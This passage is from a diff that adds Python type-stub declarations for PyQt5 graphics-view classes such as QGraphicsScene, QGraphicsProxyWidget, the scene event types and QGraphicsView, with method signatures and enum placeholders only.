-> QtCore.Qt.WindowFlags: ... + def windowFrameRect(self) -> QtCore.QRectF: ... + def windowFrameGeometry(self) -> QtCore.QRectF: ... + def unsetWindowFrameMargins(self) -> None: ... + def getWindowFrameMargins(self) -> typing.Tuple[float, float, float, float]: ... + @typing.overload + def setWindowFrameMargins(self, margins: QtCore.QMarginsF) -> None: ... + @typing.overload + def setWindowFrameMargins(self, left: float, top: float, right: float, bottom: float) -> None: ... + def getContentsMargins(self) -> typing.Tuple[float, float, float, float]: ... + @typing.overload + def setContentsMargins(self, margins: QtCore.QMarginsF) -> None: ... + @typing.overload + def setContentsMargins(self, left: float, top: float, right: float, bottom: float) -> None: ... + def rect(self) -> QtCore.QRectF: ... + @typing.overload + def setGeometry(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def setGeometry(self, ax: float, ay: float, aw: float, ah: float) -> None: ... + def size(self) -> QtCore.QSizeF: ... + @typing.overload + def resize(self, size: QtCore.QSizeF) -> None: ... + @typing.overload + def resize(self, w: float, h: float) -> None: ... + def setPalette(self, palette: QtGui.QPalette) -> None: ... + def palette(self) -> QtGui.QPalette: ... + def setFont(self, font: QtGui.QFont) -> None: ... + def font(self) -> QtGui.QFont: ... + def setStyle(self, style: QStyle) -> None: ... + def style(self) -> QStyle: ... + def unsetLayoutDirection(self) -> None: ... + def setLayoutDirection(self, direction: QtCore.Qt.LayoutDirection) -> None: ... + def layoutDirection(self) -> QtCore.Qt.LayoutDirection: ... + def adjustSize(self) -> None: ... + def setLayout(self, layout: QGraphicsLayout) -> None: ... + def layout(self) -> QGraphicsLayout: ... + + +class QGraphicsProxyWidget(QGraphicsWidget): + + def __init__(self, parent: typing.Optional[QGraphicsItem] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def inputMethodEvent(self, event: QtGui.QInputMethodEvent) -> None: ... + def inputMethodQuery(self, query: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + def newProxyWidget(self, a0: QWidget) -> 'QGraphicsProxyWidget': ... + def dropEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def dragMoveEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def dragLeaveEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def dragEnterEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def resizeEvent(self, event: 'QGraphicsSceneResizeEvent') -> None: ... + def sizeHint(self, which: QtCore.Qt.SizeHint, constraint: QtCore.QSizeF = ...) -> QtCore.QSizeF: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def focusOutEvent(self, event: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, event: QtGui.QFocusEvent) -> None: ... + def keyReleaseEvent(self, event: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, event: QtGui.QKeyEvent) -> None: ... + def wheelEvent(self, event: 'QGraphicsSceneWheelEvent') -> None: ... + def mouseDoubleClickEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def mouseReleaseEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def mousePressEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def mouseMoveEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def ungrabMouseEvent(self, event: QtCore.QEvent) -> None: ... + def grabMouseEvent(self, event: QtCore.QEvent) -> None: ... + def hoverMoveEvent(self, event: 'QGraphicsSceneHoverEvent') -> None: ... + def hoverLeaveEvent(self, event: 'QGraphicsSceneHoverEvent') -> None: ... + def hoverEnterEvent(self, event: 'QGraphicsSceneHoverEvent') -> None: ... + def contextMenuEvent(self, event: 'QGraphicsSceneContextMenuEvent') -> None: ... + def hideEvent(self, event: QtGui.QHideEvent) -> None: ... + def showEvent(self, event: QtGui.QShowEvent) -> None: ... + def eventFilter(self, object: QtCore.QObject, event: QtCore.QEvent) -> bool: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def itemChange(self, change: QGraphicsItem.GraphicsItemChange, value: typing.Any) -> typing.Any: ... + def createProxyForChildWidget(self, child: QWidget) -> 'QGraphicsProxyWidget': ... + def type(self) -> int: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: QWidget) -> None: ... + def setGeometry(self, rect: QtCore.QRectF) -> None: ... + def subWidgetRect(self, widget: QWidget) -> QtCore.QRectF: ... + def widget(self) -> QWidget: ... + def setWidget(self, widget: QWidget) -> None: ... + + +class QGraphicsScene(QtCore.QObject): + + class SceneLayer(int): + ItemLayer = ... # type: QGraphicsScene.SceneLayer + BackgroundLayer = ... # type: QGraphicsScene.SceneLayer + ForegroundLayer = ... # type: QGraphicsScene.SceneLayer + AllLayers = ... # type: QGraphicsScene.SceneLayer + + class ItemIndexMethod(int): + BspTreeIndex = ... # type: QGraphicsScene.ItemIndexMethod + NoIndex = ... # type: QGraphicsScene.ItemIndexMethod + + class SceneLayers(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGraphicsScene.SceneLayers', 'QGraphicsScene.SceneLayer']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGraphicsScene.SceneLayers') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGraphicsScene.SceneLayers': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, sceneRect: QtCore.QRectF, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, x: float, y: float, width: float, height: float, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setFocusOnTouch(self, enabled: bool) -> None: ... + def focusOnTouch(self) -> bool: ... + def focusItemChanged(self, newFocus: QGraphicsItem, oldFocus: QGraphicsItem, reason: QtCore.Qt.FocusReason) -> None: ... + def setMinimumRenderSize(self, minSize: float) -> None: ... + def minimumRenderSize(self) -> float: ... + def sendEvent(self, item: QGraphicsItem, event: QtCore.QEvent) -> bool: ... + def setActivePanel(self, item: QGraphicsItem) -> None: ... + def activePanel(self) -> QGraphicsItem: ... + def isActive(self) -> bool: ... + @typing.overload + def itemAt(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], deviceTransform: QtGui.QTransform) -> QGraphicsItem: ... + @typing.overload + def itemAt(self, x: float, y: float, deviceTransform: QtGui.QTransform) -> QGraphicsItem: ... + def stickyFocus(self) -> bool: ... + def setStickyFocus(self, enabled: bool) -> None: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def eventFilter(self, watched: QtCore.QObject, event: QtCore.QEvent) -> bool: ... + def setActiveWindow(self, widget: QGraphicsWidget) -> None: ... + def activeWindow(self) -> QGraphicsWidget: ... + def setPalette(self, palette: QtGui.QPalette) -> None: ... + def palette(self) -> QtGui.QPalette: ... + def setFont(self, font: QtGui.QFont) -> None: ... + def font(self) -> QtGui.QFont: ... + def setStyle(self, style: QStyle) -> None: ... + def style(self) -> QStyle: ... + def addWidget(self, widget: QWidget, flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> QGraphicsProxyWidget: ... + def selectionArea(self) -> QtGui.QPainterPath: ... + def setBspTreeDepth(self, depth: int) -> None: ... + def bspTreeDepth(self) -> int: ... + def drawForeground(self, painter: QtGui.QPainter, rect: QtCore.QRectF) -> None: ... + def drawBackground(self, painter: QtGui.QPainter, rect: QtCore.QRectF) -> None: ... + def inputMethodEvent(self, event: QtGui.QInputMethodEvent) -> None: ... + def wheelEvent(self, event: 'QGraphicsSceneWheelEvent') -> None: ... + def mouseDoubleClickEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def mouseReleaseEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def mouseMoveEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def mousePressEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def keyReleaseEvent(self, event: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, event: QtGui.QKeyEvent) -> None: ... + def helpEvent(self, event: 'QGraphicsSceneHelpEvent') -> None: ... + def focusOutEvent(self, event: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, event: QtGui.QFocusEvent) -> None: ... + def dropEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def dragLeaveEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def dragMoveEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def dragEnterEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def contextMenuEvent(self, event: 'QGraphicsSceneContextMenuEvent') -> None: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def selectionChanged(self) -> None: ... + def sceneRectChanged(self, rect: QtCore.QRectF) -> None: ... + def changed(self, region: typing.Iterable[QtCore.QRectF]) -> None: ... + def clear(self) -> None: ... + @typing.overload + def invalidate(self, rect: QtCore.QRectF = ..., layers: typing.Union['QGraphicsScene.SceneLayers', 'QGraphicsScene.SceneLayer'] = ...) -> None: ... + @typing.overload + def invalidate(self, x: float, y: float, w: float, h: float, layers: typing.Union['QGraphicsScene.SceneLayers', 'QGraphicsScene.SceneLayer'] = ...) -> None: ... + @typing.overload + def update(self, rect: QtCore.QRectF = ...) -> None: ... + @typing.overload + def update(self, x: float, y: float, w: float, h: float) -> None: ... + def advance(self) -> None: ... + def views(self) -> typing.List['QGraphicsView']: ... + def inputMethodQuery(self, query: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + def setForegroundBrush(self, brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def foregroundBrush(self) -> QtGui.QBrush: ... + def setBackgroundBrush(self, brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def backgroundBrush(self) -> QtGui.QBrush: ... + def mouseGrabberItem(self) -> QGraphicsItem: ... + def clearFocus(self) -> None: ... + def setFocus(self, focusReason: QtCore.Qt.FocusReason = ...) -> None: ... + def hasFocus(self) -> bool: ... + def setFocusItem(self, item: QGraphicsItem, focusReason: QtCore.Qt.FocusReason = ...) -> None: ... + def focusItem(self) -> QGraphicsItem: ... + def removeItem(self, item: QGraphicsItem) -> None: ... + def addText(self, text: str, font: QtGui.QFont = ...) -> QGraphicsTextItem: ... + def addSimpleText(self, text: str, font: QtGui.QFont = ...) -> QGraphicsSimpleTextItem: ... + @typing.overload + def addRect(self, rect: QtCore.QRectF, pen: typing.Union[QtGui.QPen, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ..., brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ...) -> QGraphicsRectItem: ... + @typing.overload + def addRect(self, x: float, y: float, w: float, h: float, pen: typing.Union[QtGui.QPen, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ..., brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ...) -> QGraphicsRectItem: ... + def addPolygon(self, polygon: QtGui.QPolygonF, pen: typing.Union[QtGui.QPen, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ..., brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ...) -> QGraphicsPolygonItem: ... + def addPixmap(self, pixmap: QtGui.QPixmap) -> QGraphicsPixmapItem: ... + def addPath(self, path: QtGui.QPainterPath, pen: typing.Union[QtGui.QPen, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ..., brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ...) -> QGraphicsPathItem: ... + @typing.overload + def addLine(self, line: QtCore.QLineF, pen: typing.Union[QtGui.QPen, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ...) -> QGraphicsLineItem: ... + @typing.overload + def addLine(self, x1: float, y1: float, x2: float, y2: float, pen: typing.Union[QtGui.QPen, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ...) -> QGraphicsLineItem: ... + @typing.overload + def addEllipse(self, rect: QtCore.QRectF, pen: typing.Union[QtGui.QPen, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ..., brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ...) -> QGraphicsEllipseItem: ... + @typing.overload + def addEllipse(self, x: float, y: float, w: float, h: float, pen: typing.Union[QtGui.QPen, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ..., brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ...) -> QGraphicsEllipseItem: ... + def addItem(self, item: QGraphicsItem) -> None: ... + def destroyItemGroup(self, group: QGraphicsItemGroup) -> None: ... + def createItemGroup(self, items: typing.Iterable[QGraphicsItem]) -> QGraphicsItemGroup: ... + def clearSelection(self) -> None: ... + @typing.overload + def setSelectionArea(self, path: QtGui.QPainterPath, deviceTransform: QtGui.QTransform) -> None: ... + @typing.overload + def setSelectionArea(self, path: QtGui.QPainterPath, mode: QtCore.Qt.ItemSelectionMode = ..., deviceTransform: QtGui.QTransform = ...) -> None: ... + @typing.overload + def setSelectionArea(self, path: QtGui.QPainterPath, selectionOperation: QtCore.Qt.ItemSelectionOperation, mode: QtCore.Qt.ItemSelectionMode = ..., deviceTransform: QtGui.QTransform = ...) -> None: ... + def selectedItems(self) -> typing.List[QGraphicsItem]: ... + def collidingItems(self, item: QGraphicsItem, mode: QtCore.Qt.ItemSelectionMode = ...) -> typing.List[QGraphicsItem]: ... + @typing.overload + def items(self, order: QtCore.Qt.SortOrder = ...) -> typing.List[QGraphicsItem]: ... + @typing.overload + def items(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], mode: QtCore.Qt.ItemSelectionMode = ..., order: QtCore.Qt.SortOrder = ..., deviceTransform: QtGui.QTransform = ...) -> typing.List[QGraphicsItem]: ... + @typing.overload + def items(self, rect: QtCore.QRectF, mode: QtCore.Qt.ItemSelectionMode = ..., order: QtCore.Qt.SortOrder = ..., deviceTransform: QtGui.QTransform = ...) -> typing.List[QGraphicsItem]: ... + @typing.overload + def items(self, polygon: QtGui.QPolygonF, mode: QtCore.Qt.ItemSelectionMode = ..., order: QtCore.Qt.SortOrder = ..., deviceTransform: QtGui.QTransform = ...) -> typing.List[QGraphicsItem]: ... + @typing.overload + def items(self, path: QtGui.QPainterPath, mode: QtCore.Qt.ItemSelectionMode = ..., order: QtCore.Qt.SortOrder = ..., deviceTransform: QtGui.QTransform = ...) -> typing.List[QGraphicsItem]: ... + @typing.overload + def items(self, x: float, y: float, w: float, h: float, mode: QtCore.Qt.ItemSelectionMode, order: QtCore.Qt.SortOrder, deviceTransform: QtGui.QTransform = ...) -> typing.List[QGraphicsItem]: ... + def itemsBoundingRect(self) -> QtCore.QRectF: ... + def setItemIndexMethod(self, method: 'QGraphicsScene.ItemIndexMethod') -> None: ... + def itemIndexMethod(self) -> 'QGraphicsScene.ItemIndexMethod': ... + def render(self, painter: QtGui.QPainter, target: QtCore.QRectF = ..., source: QtCore.QRectF = ..., mode: QtCore.Qt.AspectRatioMode = ...) -> None: ... + @typing.overload + def setSceneRect(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def setSceneRect(self, x: float, y: float, w: float, h: float) -> None: ... + def height(self) -> float: ... + def width(self) -> float: ... + def sceneRect(self) -> QtCore.QRectF: ... + + +class QGraphicsSceneEvent(QtCore.QEvent): + + def widget(self) -> QWidget: ... + + +class QGraphicsSceneMouseEvent(QGraphicsSceneEvent): + + def flags(self) -> QtCore.Qt.MouseEventFlags: ... + def source(self) -> QtCore.Qt.MouseEventSource: ... + def modifiers(self) -> QtCore.Qt.KeyboardModifiers: ... + def button(self) -> QtCore.Qt.MouseButton: ... + def buttons(self) -> QtCore.Qt.MouseButtons: ... + def lastScreenPos(self) -> QtCore.QPoint: ... + def lastScenePos(self) -> QtCore.QPointF: ... + def lastPos(self) -> QtCore.QPointF: ... + def buttonDownScreenPos(self, button: QtCore.Qt.MouseButton) -> QtCore.QPoint: ... + def buttonDownScenePos(self, button: QtCore.Qt.MouseButton) -> QtCore.QPointF: ... + def buttonDownPos(self, button: QtCore.Qt.MouseButton) -> QtCore.QPointF: ... + def screenPos(self) -> QtCore.QPoint: ... + def scenePos(self) -> QtCore.QPointF: ... + def pos(self) -> QtCore.QPointF: ... + + +class QGraphicsSceneWheelEvent(QGraphicsSceneEvent): + + def orientation(self) -> QtCore.Qt.Orientation: ... + def delta(self) -> int: ... + def modifiers(self) -> QtCore.Qt.KeyboardModifiers: ... + def buttons(self) -> QtCore.Qt.MouseButtons: ... + def screenPos(self) -> QtCore.QPoint: ... + def scenePos(self) -> QtCore.QPointF: ... + def pos(self) -> QtCore.QPointF: ... + + +class QGraphicsSceneContextMenuEvent(QGraphicsSceneEvent): + + class Reason(int): + Mouse = ... # type: QGraphicsSceneContextMenuEvent.Reason + Keyboard = ... # type: QGraphicsSceneContextMenuEvent.Reason + Other = ... # type: QGraphicsSceneContextMenuEvent.Reason + + def reason(self) -> 'QGraphicsSceneContextMenuEvent.Reason': ... + def modifiers(self) -> QtCore.Qt.KeyboardModifiers: ... + def screenPos(self) -> QtCore.QPoint: ... + def scenePos(self) -> QtCore.QPointF: ... + def pos(self) -> QtCore.QPointF: ... + + +class QGraphicsSceneHoverEvent(QGraphicsSceneEvent): + + def modifiers(self) -> QtCore.Qt.KeyboardModifiers: ... + def lastScreenPos(self) -> QtCore.QPoint: ... + def lastScenePos(self) -> QtCore.QPointF: ... + def lastPos(self) -> QtCore.QPointF: ... + def screenPos(self) -> QtCore.QPoint: ... + def scenePos(self) -> QtCore.QPointF: ... + def pos(self) -> QtCore.QPointF: ... + + +class QGraphicsSceneHelpEvent(QGraphicsSceneEvent): + + def screenPos(self) -> QtCore.QPoint: ... + def scenePos(self) -> QtCore.QPointF: ... + + +class QGraphicsSceneDragDropEvent(QGraphicsSceneEvent): + + def mimeData(self) -> QtCore.QMimeData: ... + def source(self) -> QWidget: ... + def setDropAction(self, action: QtCore.Qt.DropAction) -> None: ... + def dropAction(self) -> QtCore.Qt.DropAction: ... + def acceptProposedAction(self) -> None: ... + def proposedAction(self) -> QtCore.Qt.DropAction: ... + def possibleActions(self) -> QtCore.Qt.DropActions: ... + def modifiers(self) -> QtCore.Qt.KeyboardModifiers: ... + def buttons(self) -> QtCore.Qt.MouseButtons: ... + def screenPos(self) -> QtCore.QPoint: ... + def scenePos(self) -> QtCore.QPointF: ... + def pos(self) -> QtCore.QPointF: ... + + +class QGraphicsSceneResizeEvent(QGraphicsSceneEvent): + + def __init__(self) -> None: ... + + def newSize(self) -> QtCore.QSizeF: ... + def oldSize(self) -> QtCore.QSizeF: ... + + +class QGraphicsSceneMoveEvent(QGraphicsSceneEvent): + + def __init__(self) -> None: ... + + def newPos(self) -> QtCore.QPointF: ... + def oldPos(self) -> QtCore.QPointF: ... + + +class QGraphicsTransform(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def update(self) -> None: ... + def applyTo(self, matrix: QtGui.QMatrix4x4) -> None: ... + + +class QGraphicsScale(QGraphicsTransform): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def zScaleChanged(self) -> None: ... + def yScaleChanged(self) -> None: ... + def xScaleChanged(self) -> None: ... + def scaleChanged(self) -> None: ... + def originChanged(self) -> None: ... + def applyTo(self, matrix: QtGui.QMatrix4x4) -> None: ... + def setZScale(self, a0: float) -> None: ... + def zScale(self) -> float: ... + def setYScale(self, a0: float) -> None: ... + def yScale(self) -> float: ... + def setXScale(self, a0: float) -> None: ... + def xScale(self) -> float: ... + def setOrigin(self, point: QtGui.QVector3D) -> None: ... + def origin(self) -> QtGui.QVector3D: ... + + +class QGraphicsRotation(QGraphicsTransform): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def axisChanged(self) -> None: ... + def angleChanged(self) -> None: ... + def originChanged(self) -> None: ... + def applyTo(self, matrix: QtGui.QMatrix4x4) -> None: ... + @typing.overload + def setAxis(self, axis: QtGui.QVector3D) -> None: ... + @typing.overload + def setAxis(self, axis: QtCore.Qt.Axis) -> None: ... + def axis(self) -> QtGui.QVector3D: ... + def setAngle(self, a0: float) -> None: ... + def angle(self) -> float: ... + def setOrigin(self, point: QtGui.QVector3D) -> None: ... + def origin(self) -> QtGui.QVector3D: ... + + +class QGraphicsView(QAbstractScrollArea): + + class OptimizationFlag(int): + DontClipPainter = ... # type: QGraphicsView.OptimizationFlag + DontSavePainterState = ... # type: QGraphicsView.OptimizationFlag + DontAdjustForAntialiasing = ... # type: QGraphicsView.OptimizationFlag + + class ViewportUpdateMode(int): + FullViewportUpdate = ... # type: QGraphicsView.ViewportUpdateMode + MinimalViewportUpdate = ... # type: QGraphicsView.ViewportUpdateMode + SmartViewportUpdate = ... # type: QGraphicsView.ViewportUpdateMode + BoundingRectViewportUpdate = ... # type: QGraphicsView.ViewportUpdateMode + NoViewportUpdate = ... # type: QGraphicsView.ViewportUpdateMode + + class ViewportAnchor(int): + NoAnchor = ... # type: QGraphicsView.ViewportAnchor + AnchorViewCenter = ... # type: QGraphicsView.ViewportAnchor + AnchorUnderMouse = ... # type: QGraphicsView.ViewportAnchor + + class DragMode(int): + NoDrag = ... # type: QGraphicsView.DragMode + ScrollHandDrag = ... # type: QGraphicsView.DragMode + RubberBandDrag = ... # type: QGraphicsView.DragMode + + class CacheModeFlag(int): + CacheNone = ... # type: QGraphicsView.CacheModeFlag + CacheBackground = ... # type: QGraphicsView.CacheModeFlag + + class CacheMode(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGraphicsView.CacheMode', 'QGraphicsView.CacheModeFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGraphicsView.CacheMode') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGraphicsView.CacheMode': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class OptimizationFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGraphicsView.OptimizationFlags', 'QGraphicsView.OptimizationFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGraphicsView.OptimizationFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGraphicsView.OptimizationFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, scene: QGraphicsScene, parent: typing.Optional[QWidget] = ...) -> None: ... + + def rubberBandChanged(self, viewportRect: QtCore.QRect, fromScenePoint: typing.Union[QtCore.QPointF, QtCore.QPoint], toScenePoint: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def rubberBandRect(self) -> QtCore.QRect: ... + def isTransformed(self) -> bool: ... + def resetTransform(self) -> None: ... + def setTransform(self, matrix: QtGui.QTransform, combine: bool = ...) -> None: ... + def viewportTransform(self) -> QtGui.QTransform: ... + def transform(self) -> QtGui.QTransform: ... + def setRubberBandSelectionMode(self, mode: QtCore.Qt.ItemSelectionMode) -> None: ... + def rubberBandSelectionMode(self) -> QtCore.Qt.ItemSelectionMode: ... + def setOptimizationFlags(self, flags: typing.Union['QGraphicsView.OptimizationFlags', 'QGraphicsView.OptimizationFlag']) -> None: ... + def setOptimizationFlag(self, flag: 'QGraphicsView.OptimizationFlag', enabled: bool = ...) -> None: ... + def optimizationFlags(self) -> 'QGraphicsView.OptimizationFlags': ... + def setViewportUpdateMode(self, mode: 'QGraphicsView.ViewportUpdateMode') -> None: ... + def viewportUpdateMode(self) -> 'QGraphicsView.ViewportUpdateMode': ... + def drawForeground(self, painter: QtGui.QPainter, rect: QtCore.QRectF) -> None: ... + def drawBackground(self, painter: QtGui.QPainter, rect: QtCore.QRectF) -> None: ... + def inputMethodEvent(self, event: QtGui.QInputMethodEvent) -> None: ... + def showEvent(self, event: QtGui.QShowEvent) -> None: ... + def scrollContentsBy(self, dx: int, dy: int) -> None: ... + def resizeEvent(self, event: QtGui.QResizeEvent) -> None: ... + def paintEvent(self, event: QtGui.QPaintEvent) -> None: ... + def wheelEvent(self, event: QtGui.QWheelEvent) -> None: ... + def mouseReleaseEvent(self, event: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, event: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, event: QtGui.QMouseEvent) -> None: ... + def mouseDoubleClickEvent(self, event: QtGui.QMouseEvent) -> None: ... + def keyReleaseEvent(self, event: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, event: QtGui.QKeyEvent) -> None: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def focusOutEvent(self, event: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, event: QtGui.QFocusEvent) -> None: ... + def dropEvent(self, event: QtGui.QDropEvent) -> None: ... + def dragMoveEvent(self, event: QtGui.QDragMoveEvent) -> None: ... + def dragLeaveEvent(self, event: QtGui.QDragLeaveEvent) -> None: ... + def dragEnterEvent(self, event: QtGui.QDragEnterEvent) -> None: ... + def contextMenuEvent(self, event: QtGui.QContextMenuEvent) -> None: ... + def viewportEvent(self, event: QtCore.QEvent) -> bool: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def setupViewport(self, widget: QWidget) -> None: ... + def updateSceneRect(self, rect: QtCore.QRectF) -> None: ... + def updateScene(self, rects: typing.Iterable[QtCore.QRectF]) -> None: ... + def invalidateScene(self, rect: QtCore.QRectF = ..., layers: typing.Union[QGraphicsScene.SceneLayers, QGraphicsScene.SceneLayer] = ...) -> None: ... + def setForegroundBrush(self, brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def foregroundBrush(self) -> QtGui.QBrush: ... + def setBackgroundBrush(self, brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def backgroundBrush(self) -> QtGui.QBrush: ... + def inputMethodQuery(self, query: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + @typing.overload + def mapFromScene(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPoint: ... + @typing.overload + def mapFromScene(self, rect: QtCore.QRectF) -> QtGui.QPolygon: ... + @typing.overload + def mapFromScene(self, polygon: QtGui.QPolygonF) -> QtGui.QPolygon: ... + @typing.overload + def mapFromScene(self, path: QtGui.QPainterPath) -> QtGui.QPainterPath: ... + @typing.overload + def mapFromScene(self, ax: float, ay: float) -> QtCore.QPoint: ... + @typing.overload + def mapFromScene(self, ax: float, ay: float, w: float, h: float) -> QtGui.QPolygon: ... + @typing.overload + def mapToScene(self, point: QtCore.QPoint) -> QtCore.QPointF: ... + @typing.overload + def mapToScene(self, rect: QtCore.QRect) -> QtGui.QPolygonF: ... + @typing.overload + def mapToScene(self, polygon: QtGui.QPolygon) -> QtGui.QPolygonF: ... + @typing.overload + def mapToScene(self, path: QtGui.QPainterPath) -> QtGui.QPainterPath: ... + @typing.overload + def mapToScene(self, ax: int, ay: int) -> QtCore.QPointF: ... + @typing.overload + def mapToScene(self, ax: int, ay: int, w: int, h: int) -> QtGui.QPolygonF: ... + @typing.overload + def itemAt(self, pos: QtCore.QPoint) -> QGraphicsItem: ... + @typing.overload + def itemAt(self, ax: int, ay: int) -> QGraphicsItem: ... + @typing.overload + def items(self) -> typing.List[QGraphicsItem]: ... + @typing.overload + def items(self, pos: QtCore.QPoint) -> typing.List[QGraphicsItem]: ... + @typing.overload + def items(self, x: int, y: int) -> typing.List[QGraphicsItem]: ... + @typing.overload + def items(self, x: int, y: int, w: int, h: int, mode: QtCore.Qt.ItemSelectionMode = ...) -> typing.List[QGraphicsItem]: ... + @typing.overload + def items(self, rect: QtCore.QRect, mode: QtCore.Qt.ItemSelectionMode = ...) -> typing.List[QGraphicsItem]: ... + @typing.overload + def items(self, polygon: QtGui.QPolygon, mode: QtCore.Qt.ItemSelectionMode = ...) -> typing.List[QGraphicsItem]: ... + @typing.overload + def items(self, path: QtGui.QPainterPath, mode: QtCore.Qt.ItemSelectionMode = ...) -> typing.List[QGraphicsItem]: ... + def render(self, painter: QtGui.QPainter, target: QtCore.QRectF = ..., source: QtCore.QRect = ..., mode: QtCore.Qt.AspectRatioMode = ...) -> None: ... + @typing.overload + def fitInView(self, rect: QtCore.QRectF, mode: QtCore.Qt.AspectRatioMode = ...) -> None: ... + @typing.overload + def fitInView(self, item: QGraphicsItem, mode: QtCore.Qt.AspectRatioMode = ...) -> None: ... + @typing.overload + def fitInView(self, x: float, y: float, w: float, h: float, mode: QtCore.Qt.AspectRatioMode = ...) -> None: ... + @typing.overload + def ensureVisible(self, rect: QtCore.QRectF, xMargin: int = ..., yMargin: int = ...) -> None: ... + @typing.overload + def ensureVisible(self, item: QGraphicsItem, xMargin: int = ..., yMargin: int = ...) -> None: ... + @typing.overload + def ensureVisible(self, x: float, y: float, w: float, h: float, xMargin: int = ..., yMargin: int = ...) -> None: ... + @typing.overload + def centerOn(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def centerOn(self, item: QGraphicsItem) -> None: ... + 